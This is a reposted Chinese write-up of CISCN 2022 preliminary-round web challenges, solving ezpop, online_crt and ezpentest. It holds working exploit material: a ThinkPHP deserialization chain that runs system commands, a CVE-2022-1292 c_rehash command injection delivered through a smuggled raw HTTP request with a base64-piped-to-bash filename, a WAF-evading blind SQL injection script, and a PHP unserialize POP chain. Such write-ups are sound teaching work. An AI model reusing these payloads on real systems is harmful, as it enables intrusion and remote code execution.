0


[2022 CISCN]初赛 web题目复现

ezpop

源码泄露www.zip,用网上的链子直接打

<?phpnamespacethink\model\concern;traitAttribute{private$data=["key"=>["key1"=>"cat /flag.txt"]];private$withAttr=["key"=>["key1"=>"system"]];protected$json=["key"];}namespacethink;abstractclassModel{usemodel\concern\Attribute;private$lazySave;protected$withEvent;private$exists;private$force;protected$table;protected$jsonAssoc;function__construct($obj=''){$this->lazySave=true;$this->withEvent=false;$this->exists=true;$this->force=true;$this->table=$obj;$this->jsonAssoc=true;}}namespacethink\model;usethink\Model;classPivotextendsModel{}$a=newPivot();$b=newPivot($a);echourlencode(serialize($b));

online_crt

考点:

CVE-2022-1292

SSRF

项目分析

项目后端为python+go,其中python部署在外网,go通过python转发到内网

先看python,一共有四个路由:

  • /为主界面
  • /getcrt生成一个x509证书
  • /createlink调用c_rehash创建证书链接
  • /proxy通过代理访问go内网服务

image-20220702135500941

再来看go,有一个admin路由,用以重命名证书文件

image-20220702135633631

解题

题目的考点为CVE-2022-1292,是c_rehash的一个命令注入漏洞

c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接

我们看到漏洞的commit:

https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split

image-20220702142413801

这里没有过滤反引号就直接将文件名拼接到了命令中,那么我们在文件名中添加反引号即可执行任意命令

向上追溯可以发现:

image-20220702143311371

在执行命令前函数会检查文件后缀名

.(pem)|(crt)|(cer)|(crl) 

和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查

漏洞利用条件

  • 执行c_rehash的目标目录文件可控
  • 文件后缀符合要求
  • 文件内容必须包含证书或者吊销列表
  • 文件名可控

题目中生成证书功能可以创建一个满足要求的文件,那么我们还需要对文件名进行修改

看到内网go部分:

为了实现可控的文件名,我们需要调用go的重命名功能,go的路由在重命名前有两个校验

c.Request.URL.RawPath != "" && c.Request.Host == "admin"

我们需要绕过这两个验证

url注入http头

Request.Host

为请求的host头,在python中请求包中host头是固定的(test_host_api),这里我们需要想办法让go后端认为host值为admin

python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤,所以我们可以在uri注入一个host头来替换原本的头,注入之后数据包变成:

GET / HTTP /1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP /1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

这样就可以绕过host头检验

go的RawPath特性

对于

Request.URL.RawPath

检验,我们通过阅读go net库的源码,发现go语言中会对原始url进行解码(反转义),如果解码后再编码的url和原始url不同,那么RawPath会被设置为原始url,反之会被设置为空

image-20220703234004573

也就是说为了避免RawPath被置空,我们只需将url中任意一个

/

进行url编码即可

整体流程

  • 访问 /getcrt 路由 生成一个证书 返回证书路径static/crt/62a5726a-352a-4538-b236-1972b59ccf1e.crtimage-20220703234732211
  • 请求 /proxy 修改证书名为恶意文件名这一步需要构造HTTP包注入多个HTTP连接来改HOST并且URL里面有个/要改成%2f绕过检查访问重命名接口利用CVE构造命令注入Payloadm,发包改名````echo "Y2F0IC9mbGFnID4gZmxhZw==" | base64 -d | bash`.crt发包:GET /proxy HTTP/1.1Host:1.14.71.254:28536User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5FhbXcy21j5NxtoYContent-Length:478------WebKitFormBoundary5FhbXcy21j5NxtoYContent-Disposition: form-data; name="uri"/ HTTP/1.1Host: adminConnection: keep-aliveGET /admin%2frename?oldname=62a5726a-352a-4538-b236-1972b59ccf1e.crt&newname=%60%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%49%44%34%67%5a%6d%78%68%5a%77%3d%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%60%2e%63%72%74 HTTP/1.1Host: adminConnection: closeGET /------WebKitFormBoundary5FhbXcy21j5NxtoY--```image-20220703235322616
  • 访问createlink接口,触发命令注入,将flag写入static/crt/flagimage-20220703235420028
  • 最后访问即可

ezpentest

SQL注入

首先进入题目是一个登录框

image-20220704001728428

题目给出了waf:

<?phpfunctionsafe($a){$r=preg_replace('/[\s,()#;*~\-]/','',$a);$r=preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);return(string)$r;}?>

这一部分内容和虎符杯类似,我们构造payload

0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'

简单分析一下:

  • 利用like去正则匹配password这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error
  • +''是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是~0,也就是说这个payload其实就是~0+1
  • utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的
  • case用来解决优先级问题

所以构造脚本:

import requests
import string
payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"#这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出list= string.ascii_letters + string.digits +'^$!_%@&'

proxies={'http':'http://127.0.0.1:8080'}#这里是可以通过走代理来看下自己打进去的payload有没有啥问题。
url ='http://1.14.71.254:28706/login.php'
j=''while1:for i inlist:if(i in'%_'):#这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
            i ="\\"+ i
        now_payload=payload.format(j+i)
        date={'password': now_payload,'username':'aaa'}print(now_payload)
        re = requests.post(url,data=date)print(re.text)if  re.status_code==500:print("ok")
            j+=i
            print(j)break# 最后得到的账号密码# nssctfwabbybaboo!@$%!!# PAssw40d_Y0u3_Never_Konwn!@!!

解混淆

登陆后发现混淆代码,提示有一个

1Nd3x_Y0u_N3v3R_Kn0W.php

image-20220704120233347

直接访问得到

SomeClass.php

的内容

<?phpclassA{public$a;public$b;publicfunctionsee(){$b=$this->b;$checker=newReflectionClass(get_class($b));if(basename($checker->getFileName())!='SomeClass.php'){if(isset($b->a)&&isset($b->b)){($b->a)($b->b."");}}}}classB{public$a;public$b;publicfunction__toString(){$this->a->see();return"1";}}classC{public$a;public$b;publicfunction__toString(){$this->a->read();return"lock lock read!";}}classD{public$a;public$b;publicfunctionread(){$this->b->learn();}}classE{public$a;public$b;publicfunction__invoke(){$this->a=$this->b." Powered by PHP";}publicfunction__destruct(){//eval($this->a); ??? 吓得我赶紧把后门注释了//echo "???";die($this->a);}}classF{public$a;public$b;publicfunction__call($t1,$t2){$s1=$this->b;$s1();}}?>

而主页面本身是一段混淆之后的代码,查看源码发现是由

phpjiami

进行混淆的

https://github.com/wenshui2008/phpjiami_decode

由于phpjiami解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密

<?php$url="http://1.14.71.254:28706/login.php";$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_COOKIE,"PHPSESSID=00110b2656dbd4b5dd347f793e516da1");$result=curl_exec($ch);curl_close($ch);echourlencode($result);file_put_contents("pop.php",$result);?>

解密之后的文件为:

<?phpsession_start();if(!isset($_SESSION['login'])){die();}functionAl($classname){include$classname.".php";}if(isset($_REQUEST['a'])){$c=$_REQUEST['a'];$o=unserialize($c);if($o===false){die("Error Format");}else{spl_autoload_register('Al');$o=unserialize($c);$raw=serialize($o);if(preg_match("/Some/i",$raw)){thrownewError("Error");}$o=unserialize($raw);var_dump($o);}}else{echofile_get_contents("SomeClass.php");}

POP链构造

入口点在class E,die方法中是字符串处理,让a为对象会触发__toString方法

image-20220704121614771

接下来触发顺序为

B::__toString->a::see

image-20220704122417729

在类A中,我们只需要令b为原生类,a参数和b参数都是可控的就可以rce了

链子的触发点就是

1Nd3x_Y0u_N3v3R_Kn0W.php

文件,但是如果我们想把可以rce的文件包含进来,就要创建一个SomeClass类,而这里对

some

进行了过滤。

我们只需要让

include $classname.".php"

将文件包含的同时直接进入那个destrust方法销毁,这里可以利用gc回收机制。我们将数组索引置为0,这样就会失去上一个对象的引用从而进入destrust。

还有一种方法可以提前进入destrust,利用fastdestrust,传一个损坏的序列化数据,比如

O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;

,把后面

}

的符号去掉就行,但是这里有对序列化数据格式正确与否进行校验所以无法使用。

POC:

<?phpclassA{public$a;public$b;publicfunctionsee(){$b=$this->b;$checker=newReflectionClass(get_class($b));if(basename($checker->getFileName())!='SomeClass.php'){if(isset($b->a)&&isset($b->b)){($b->a)($b->b."");}}}}classB{public$a;public$b;publicfunction__toString(){$this->a->see();return"1";}}classC{public$a;public$b;publicfunction__toString(){$this->a->read();return"lock lock read!";}}classD{public$a;public$b;publicfunctionread(){$this->b->learn();}}classE{public$a;public$b;publicfunction__invoke(){$this->a=$this->b." Powered by PHP";}publicfunction__destruct(){die($this->a);}}classF{public$a;public$b;publicfunction__call($t1,$t2){$s1=$this->b;$s1();}}classSomeClass{public$a;}$e=newE();$a=newA();$b=newB();$e->a=$b;$b->a=$a;$arr=newArrayObject();//换其他原生类都行error啥的都可以$arr->a="system";$arr->b="cat /nssctfflag";$a->b=$arr;$c=newSomeClass();$c->a=$e;echourlencode(str_replace("i:1;","i:0;",serialize(array($c,1))));

得到flag:

image-20220704133253136

cmdbrowser

暂无复现途径

参考:

https://mp.weixin.qq.com/s/vTF9ArXKp4RCFQPl6mOGkA

https://rce.moe/archives/

标签: 前端 php web安全

本文转载自: https://blog.csdn.net/cosmoslin/article/details/125598409
版权归原作者 Snakin_ya 所有, 如有侵权,请联系我们删除。

“[2022 CISCN]初赛 web题目复现”的评论:

还没有评论